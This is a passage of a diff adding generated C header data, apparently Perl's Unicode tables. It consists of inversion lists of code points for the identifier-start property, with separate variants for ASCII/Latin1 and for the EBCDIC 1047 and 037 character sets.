+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XIDS_invlist[] = { /* for EBCDIC 1047 */
+	1211,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */
+	1207,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
